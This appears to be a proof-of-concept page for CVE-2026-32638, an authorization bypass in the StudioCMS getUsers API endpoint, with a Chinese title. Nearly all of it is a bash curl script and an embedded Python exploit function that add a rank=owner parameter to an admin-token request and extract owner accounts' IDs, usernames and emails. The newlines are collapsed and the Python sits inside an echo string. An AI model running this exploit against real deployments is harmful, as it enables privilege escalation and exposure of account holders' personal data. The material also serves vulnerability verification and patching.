CVE-2026-32638 StudioCMS getUsers接口权限绕过漏洞

#!/bin/bash # CVE-2026-32638 PoC - StudioCMS getUsers Authorization Bypass # This script demonstrates how an admin token can bypass authorization to access owner accounts TARGET_URL="http://target-server/api" ADMIN_TOKEN="your_admin_token_here" echo "[*] Testing CVE-2026-32638: StudioCMS getUsers Authorization Bypass" echo "[*] Target: $TARGET_URL" # Step 1: Normal admin request (should not see owner accounts) echo "\n[+] Step 1: Normal getUsers request (admin token)" curl -s -X GET "$TARGET_URL/getUsers" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" | jq . # Step 2: Bypass request with rank=owner parameter echo "\n[+] Step 2: Bypass request with rank=owner parameter" curl -s -X GET "$TARGET_URL/getUsers?rank=owner" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" | jq . # Step 3: Extract owner account information echo "\n[+] Extracted owner account information:" curl -s -X GET "$TARGET_URL/getUsers?rank=owner" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" | jq '.[] | {id, username, displayName, email}' echo "\n[!] If owner accounts are returned, the vulnerability is confirmed." echo "\n# Python PoC\nimport requests\n\ndef exploit_cve_2026_32638(target_url, admin_token):\n \"\"\"\n Exploit for CVE-2026-32638\n StudioCMS getUsers endpoint authorization bypass\n \"\"\"\n headers = {\n 'Authorization': f'Bearer {admin_token}',\n 'Content-Type': 'application/json'\n }\n \n # Normal request - should filter owner accounts\n normal_response = requests.get(f'{target_url}/getUsers', headers=headers)\n print(f'[-] Normal request status: {normal_response.status_code}')\n \n # Bypass request - using rank=owner parameter\n bypass_params = {'rank': 'owner'}\n bypass_response = requests.get(\n f'{target_url}/getUsers',\n params=bypass_params,\n headers=headers\n )\n print(f'[+] Bypass request status: {bypass_response.status_code}')\n \n if bypass_response.status_code == 200:\n owners = bypass_response.json()\n print(f'[+] Found {len(owners)} owner account(s):')\n for owner in owners:\n print(f' - ID: {owner.get("id")}')\n print(f' Username: {owner.get("username")}')\n print(f' Email: {owner.get("email")}')\n print(f' Display Name: {owner.get("displayName")}')\n \n return bypass_response.json()\n"